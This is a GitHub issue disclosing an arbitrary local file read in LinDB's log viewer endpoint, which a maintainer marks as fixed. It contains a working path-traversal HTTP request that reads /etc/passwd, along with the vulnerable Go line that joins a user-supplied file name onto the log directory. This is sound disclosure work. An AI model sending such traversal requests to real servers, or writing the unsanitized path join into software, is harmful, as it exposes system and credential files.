Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[bug]: Vulnerability Arbitrary local file read in log viewer #889

Closed
d90pwn opened this issue Jan 19, 2023 · 1 comment
Closed

[bug]: Vulnerability Arbitrary local file read in log viewer #889

d90pwn opened this issue Jan 19, 2023 · 1 comment
Assignees
Labels
bug Something isn't working

Comments

@d90pwn
Copy link

d90pwn commented Jan 19, 2023

Hello, im just find security issue in Log View endpoint, attacker can arbitrary read local files from "file" parameter.

Here is HTTP-Request for reading /etc/passwd :
[code]
GET /api/v1/log/view?file=../../../../../../../../../etc/passwd HTTP/1.1
Host: lindb:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lindb:9000/console/assets/index.8a526aef.js
[/code]

Here is line from source code:

file, err := os.Open(path.Join(d.logDir, param.FileName))

Log viewer must read only files in logfiles directory.
Please Fix this issue and request CVE

LinDB: v0.1.1, BuildDate: 2023-01-18T11:28:06+0900
GOOS="linux"
GOARCH="amd64"
GOVERSION="go1.19.3"

@stone1100 stone1100 added the bug Something isn't working label Jan 21, 2023
@stone1100 stone1100 self-assigned this Jan 28, 2023
@stone1100
Copy link
Member

fixed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants